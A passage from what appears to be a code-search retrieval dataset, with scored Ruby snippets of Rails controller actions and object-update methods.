"text": "def show\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @safra_verdoso }\n end\n end",
"title": ""
},
{
"docid": "9d8da5209ff0e26298b2d9496f3845dd",
"score": "0.61750495",
"text": "def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"title": ""
},
{
"docid": "27bc81cc9e2a5a441ad18504e02a5966",
"score": "0.61680347",
"text": "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"title": ""
},
{
"docid": "27bc81cc9e2a5a441ad18504e02a5966",
"score": "0.61680347",
"text": "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"title": ""
},
{
"docid": "9e6198dada45603826f42bb2ba854580",
"score": "0.61620563",
"text": "def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"title": ""
},
{
"docid": "300bae837731a93ca8f764f70125c1f1",
"score": "0.61567503",
"text": "def show\n @tagg = Tagg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tagg }\n end\n end",
"title": ""
},
{
"docid": "6f103eae15bc23e298a8f91daeab776e",
"score": "0.6152839",
"text": "def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end",
"title": ""
},
{
"docid": "bbc2d27dc447c3acdfcb8006ca9dfadc",
"score": "0.6150441",
"text": "def show\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @giang_vien }\n end\n end",
"title": ""
},
{
"docid": "1bd95a9a41127191b38486aa70bbcd40",
"score": "0.61494577",
"text": "def index\n @agencia = Agencium.all\n end",
"title": ""
},
{
"docid": "c271cb733ae66ff5aad0f33384b825b0",
"score": "0.61443055",
"text": "def list_all_aos_versions(args = {}) \n get(\"/aosversions.json/all\", args)\nend",
"title": ""
},
{
"docid": "66ccbf17c31a1d47d3a12a1560789c8d",
"score": "0.6139137",
"text": "def get_aos_version(args = {}) \n get(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "edcf8138c70208298295d5f16e731ba2",
"score": "0.6120994",
"text": "def index\n @verbindungs = Verbindung.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @verbindungs }\n end\n end",
"title": ""
},
{
"docid": "24cbf962024379f2c64f86a122c8075d",
"score": "0.6115109",
"text": "def show\n render json: @iva\n end",
"title": ""
},
{
"docid": "3718c9ca27187a467dc896eeaaf41477",
"score": "0.6104165",
"text": "def index\n @vistos = Visto.all\n end",
"title": ""
},
{
"docid": "52e39865d72acc3d6cabbbb6441ccd08",
"score": "0.60932964",
"text": "def show\n @archiv = Archiv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @archiv }\n end\n end",
"title": ""
},
{
"docid": "212241a552a6a35bb1cadacf18765fd6",
"score": "0.60919726",
"text": "def index\n @vacancies = Vacancy.all_vacancies# current_user.vacancies #\n render json: @vacancies\n end",
"title": ""
},
{
"docid": "afd4081719fac6b5083ec8584dd486ef",
"score": "0.6086346",
"text": "def show\n @gasto = Gasto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gasto }\n end\n end",
"title": ""
},
{
"docid": "c133051a0afef4e8bd7dfe8d027757fc",
"score": "0.60834235",
"text": "def index\n @ventas = Venta.all\n end",
"title": ""
},
{
"docid": "c133051a0afef4e8bd7dfe8d027757fc",
"score": "0.60834235",
"text": "def index\n @ventas = Venta.all\n end",
"title": ""
},
{
"docid": "1889d2561557c9c4ff01f70e944dc3e2",
"score": "0.6075603",
"text": "def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end",
"title": ""
},
{
"docid": "244f55911706b65868ed1d4979e893c9",
"score": "0.6058875",
"text": "def index\n @vets = Vet.all\n end",
"title": ""
},
{
"docid": "d1cfd7860b9401ca54f0db52b0539be8",
"score": "0.6058572",
"text": "def show\n @aroma = Aroma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aroma }\n end\n end",
"title": ""
},
{
"docid": "3573f9a9c48e5fbdf119e14af9a9b7e8",
"score": "0.605513",
"text": "def index\n @vitabus = Vitabu.all\n end",
"title": ""
},
{
"docid": "a82b40c3ad0ce3a169f9dad79de344f8",
"score": "0.6054168",
"text": "def index\n @vdms = Vdm.all\n\n render json: @vdms\n end",
"title": ""
},
{
"docid": "7e5c477627dc88ecf4bcdba40815b258",
"score": "0.60500705",
"text": "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"title": ""
},
{
"docid": "4648fe642dd3f7d55a94f874782b6e25",
"score": "0.6048008",
"text": "def index\n @vacations = User.find(params[:user_id]).vacations \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @vacations }\n end\n end",
"title": ""
},
{
"docid": "83390acd2f28a36351f2067b4de35a27",
"score": "0.60369855",
"text": "def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"title": ""
},
{
"docid": "13fe07ccfbf6239d118d995c42b5fd7c",
"score": "0.60342395",
"text": "def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end",
"title": ""
},
{
"docid": "269fe06aba8d1444b9b96342e4a6904b",
"score": "0.6027346",
"text": "def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"title": ""
},
{
"docid": "18ad53f802c32538baf1691956498b96",
"score": "0.60084397",
"text": "def set_vaga\n @vaga = Vaga.find(params[:id])\n end",
"title": ""
},
{
"docid": "18ad53f802c32538baf1691956498b96",
"score": "0.60084397",
"text": "def set_vaga\n @vaga = Vaga.find(params[:id])\n end",
"title": ""
},
{
"docid": "37f5b55b417e9110e51e8b04633a76e3",
"score": "0.6005063",
"text": "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end",
"title": ""
},
{
"docid": "d8b6dcb88892dd53faa48bb30099de31",
"score": "0.59988886",
"text": "def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: :ok}\n format.json { render json: @gig, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "197c76462e49242d4f5dd99bd7dad2a4",
"score": "0.599879",
"text": "def index\n @venta = Ventum.all\n end",
"title": ""
},
{
"docid": "197c76462e49242d4f5dd99bd7dad2a4",
"score": "0.599879",
"text": "def index\n @venta = Ventum.all\n end",
"title": ""
},
{
"docid": "b822b201fd2bb0886575e62bed11895f",
"score": "0.59955245",
"text": "def index\n @archivs = Archiv.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @archivs }\n end\n end",
"title": ""
},
{
"docid": "a517656d347d577eae1d6c5ddfd329c9",
"score": "0.59953994",
"text": "def show\n @advert = Advert.find(params[:id])\n @vcounter = ViewsCounter.counter('Advert', params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end",
"title": ""
},
{
"docid": "f08f1e4b2eb14d4ac604623b1c5bd0e5",
"score": "0.59934604",
"text": "def index\n @vacancies = Vacancy.all\n end",
"title": ""
},
{
"docid": "f08f1e4b2eb14d4ac604623b1c5bd0e5",
"score": "0.59934604",
"text": "def index\n @vacancies = Vacancy.all\n end",
"title": ""
},
{
"docid": "af7404ce4b1a9b9f9ec1f5ce903d6633",
"score": "0.5993005",
"text": "def show\n @voluntario = Voluntario.find(params[:id])\n @agendas = @voluntario.agendas\n @criterios = @voluntario.criterios\n @laudos = Laudo.por_voluntario_id(@voluntario.id)\n @eventos_adversos = @voluntario.evento_adversos\n @gravidezes = @voluntario.gravidezes\n @superdoses = @voluntario.superdoses\n @eventos_adversos_graves = @voluntario.evento_adverso_graves\n @avaliacoes_clinicas = AvaliacaoClinica.por_voluntario_id(@voluntario.id)\n @visitas = @voluntario.visitas.index_by &:numero\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @voluntario }\n end\n end",
"title": ""
},
{
"docid": "267f14bac3ef930960a35e2117c565e2",
"score": "0.5990386",
"text": "def show\n @vano = Vano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vano }\n end\n end",
"title": ""
},
{
"docid": "fca1928368bbf8fab0c8c754e145dc6d",
"score": "0.59884924",
"text": "def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"title": ""
},
{
"docid": "edb01d4a4dca99c05b1bda0ef3bc695b",
"score": "0.59869856",
"text": "def show\n @vaccin = Vaccin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vaccin }\n end\n end",
"title": ""
},
{
"docid": "4eb78fefcf389f8ec45de494d0351ca4",
"score": "0.59795487",
"text": "def index\n @cgvs = Cgv.order('created_at')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cgvs }\n end\n end",
"title": ""
},
{
"docid": "837c74c4ff1c83ea84c851257808d9b7",
"score": "0.5977776",
"text": "def new\n @vano = Vano.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vano }\n end\n end",
"title": ""
},
{
"docid": "0fa662d57d066d7d55cadc56371f37ce",
"score": "0.5977592",
"text": "def index\n @vongdaus = Vongdau.all\n end",
"title": ""
},
{
"docid": "1f58d3eb2f5e5ebfd1033c80f2c1a8f1",
"score": "0.5976845",
"text": "def index\n @votacions = Votacion.all\n end",
"title": ""
},
{
"docid": "8999b9e40f3f457f50cf61e22cd70782",
"score": "0.59608436",
"text": "def index\n @releases = @environment.releases.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases }\n end\n end",
"title": ""
},
{
"docid": "1ed06c71afac65a382f0ca17cedd93b5",
"score": "0.59565485",
"text": "def index\n @vestibulandos = Vestibulando.all\n end",
"title": ""
},
{
"docid": "27edc9c20b417f45309df00bc395962d",
"score": "0.5952089",
"text": "def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end",
"title": ""
},
{
"docid": "c9a449458be6839ad8b7921ee1db7339",
"score": "0.59516144",
"text": "def show\n @asagroupservobj = Asagroupservobj.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asagroupservobj }\n end\n end",
"title": ""
},
{
"docid": "9bd207cdce5437cac9ceee56e5cd9716",
"score": "0.5949536",
"text": "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"title": ""
},
{
"docid": "38311a96b5f8b28f74ebed05f2889a0b",
"score": "0.59453833",
"text": "def show\n render json: @lugar\n end",
"title": ""
},
{
"docid": "ab3d23882cb786d5e25311801498aed9",
"score": "0.5945284",
"text": "def index\n @api_versions = ApiVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_versions }\n end\n end",
"title": ""
},
{
"docid": "d31c330bcfee606eb51743897165986c",
"score": "0.59440464",
"text": "def index\n @verbs = Verb.all\n\n render json: @verbs\n end",
"title": ""
},
{
"docid": "d432a2862f4d09d6fbb0f3f40e01e084",
"score": "0.59363514",
"text": "def index\n @variants = Variant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variants }\n end\n end",
"title": ""
},
{
"docid": "98bf1d58e40e4d310a13588b597c62bb",
"score": "0.5935209",
"text": "def index\n @guas = Gua.all\n\n end",
"title": ""
},
{
"docid": "312103c05759cb60e8f0a3fdb848cf00",
"score": "0.59234077",
"text": "def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end",
"title": ""
},
{
"docid": "8dd321f001033401c854c21ce933ee3e",
"score": "0.59145534",
"text": "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end",
"title": ""
},
{
"docid": "2f5459bbc0a2117cdb6f2b2a528d7666",
"score": "0.5909431",
"text": "def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"title": ""
}
] |
af630984682f1a0b5a68e6092af0d102
|
Update properties of this object
|
[
{
"docid": "b30a45553513ad2fb3b1289ed9f96f9e",
"score": "0.0",
"text": "def update!(**args)\n @label = args[:label] if args.key?(:label)\n @score = args[:score] if args.key?(:score)\n end",
"title": ""
}
] |
[
{
"docid": "150fa2bdc1fc43d28ac45e2278a1f797",
"score": "0.7012263",
"text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "37ae8a386fde14c02d7021605aa72f45",
"score": "0.67403597",
"text": "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "47bbd8b88b35da987fc3775b82211e56",
"score": "0.6618882",
"text": "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "c3b6fccdeb696de5e9dbc38a9486b742",
"score": "0.65386343",
"text": "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end",
"title": ""
},
{
"docid": "bb403006cc5423d9b1820fe684a7c5a5",
"score": "0.65178275",
"text": "def update\n # TODO: implement update\n end",
"title": ""
},
{
"docid": "1ee90e4f66e82aec13076a98b288a2d1",
"score": "0.6394807",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "3f85752da065340d4ca70ce879a3b23d",
"score": "0.63328",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6319025",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "5a8e82caac01cee661bc875a5b0cf723",
"score": "0.6283673",
"text": "def refresh\n set_attributes\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "7a41bc9d5a07220fb8626d1fa90d2d79",
"score": "0.62639254",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"title": ""
},
{
"docid": "29c22ae2290ffca9b9682a5f20f48103",
"score": "0.62410724",
"text": "def update_resource object, attributes\n object.update attributes\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.62152076",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "1c12f310aca206a2cefff8c291007668",
"score": "0.6210263",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "85a79fb5c3cc199e689344861658b09b",
"score": "0.62021106",
"text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"title": ""
},
{
"docid": "5d229ea224b1dfa7ac9ce6808ca63fc4",
"score": "0.62017816",
"text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"title": ""
},
{
"docid": "549a7eef6c18558dea47a8e8d72df295",
"score": "0.62017",
"text": "def update\n @objects.map(&:update);\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b76d372399abbb21b748df3ae7b06470",
"score": "0.6159277",
"text": "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end",
"title": ""
},
{
"docid": "01219537b43bd1cf8341e0f00e27d4c8",
"score": "0.6156169",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "f3dea89f306804c3f2aa813c06584d06",
"score": "0.6125433",
"text": "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "44756fd86dd095556580199f7e78936f",
"score": "0.61241156",
"text": "def modified_properties=(value)\n @modified_properties = value\n end",
"title": ""
},
{
"docid": "593de84fa9950baa68153e4fa9b6e17c",
"score": "0.6121413",
"text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end",
"title": ""
},
{
"docid": "ea25adea5b43c27e6c84f27ad88c3d9f",
"score": "0.6110477",
"text": "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end",
"title": ""
},
{
"docid": "147138a710a0ff53e9288ae66341894f",
"score": "0.6105694",
"text": "def update\n\t\t\n\t\tend",
"title": ""
},
{
"docid": "7b1d2242b1a6bd8d3cad29be97783a80",
"score": "0.61016303",
"text": "def set_props(props)\n @props.merge!(props)\n end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.60845226",
"text": "def update() end",
"title": ""
},
{
"docid": "231370ed2400d22825eba2b5b69e7a67",
"score": "0.6084427",
"text": "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "86ff97cc222b987bff78c1152a1c8ee1",
"score": "0.6065455",
"text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"title": ""
},
{
"docid": "0f6ea4c54f9bc18020c08410f67289cd",
"score": "0.6059506",
"text": "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end",
"title": ""
},
{
"docid": "453da6bb915596261c5b82f2d17cabf8",
"score": "0.6054869",
"text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "874639781ed80ae451fbdd6ebbef2218",
"score": "0.60413384",
"text": "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end",
"title": ""
},
{
"docid": "d175f5bedd91a8daf191cad42b04dc0c",
"score": "0.6030853",
"text": "def update_attributes(attrs)\n super({})\n end",
"title": ""
},
{
"docid": "b8d1a7cd8f443ee5f30b5085aadff479",
"score": "0.6022535",
"text": "def update\n @dirty = true\n end",
"title": ""
},
{
"docid": "d7d62f9c97f629ef8c88e56d3d1ce8ee",
"score": "0.6015561",
"text": "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end",
"title": ""
},
{
"docid": "71750bae7e3d6bdde2b60ec30e70949a",
"score": "0.59932375",
"text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"title": ""
},
{
"docid": "73fe9bc31bfeeab4d84483e2fa65cbbb",
"score": "0.59898263",
"text": "def update\n super\n end",
"title": ""
},
{
"docid": "a98ac99e6e5115383e9148202286ff9e",
"score": "0.5976479",
"text": "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "fb14f35e7fab31199053a7b87ef451a4",
"score": "0.5973787",
"text": "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end",
"title": ""
},
{
"docid": "6441b3fa93c3dfd974c66a975adb9d9c",
"score": "0.59678394",
"text": "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end",
"title": ""
},
{
"docid": "51a59f953548d1eff10532bdffdd8df9",
"score": "0.5963291",
"text": "def properties=(value)\n @properties = value\n end",
"title": ""
},
{
"docid": "e7a3d5504fcc6e382b06845ede0d5fd8",
"score": "0.5962048",
"text": "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end",
"title": ""
},
{
"docid": "c7a2880c3da02b3708afc43c48d37f2e",
"score": "0.5961157",
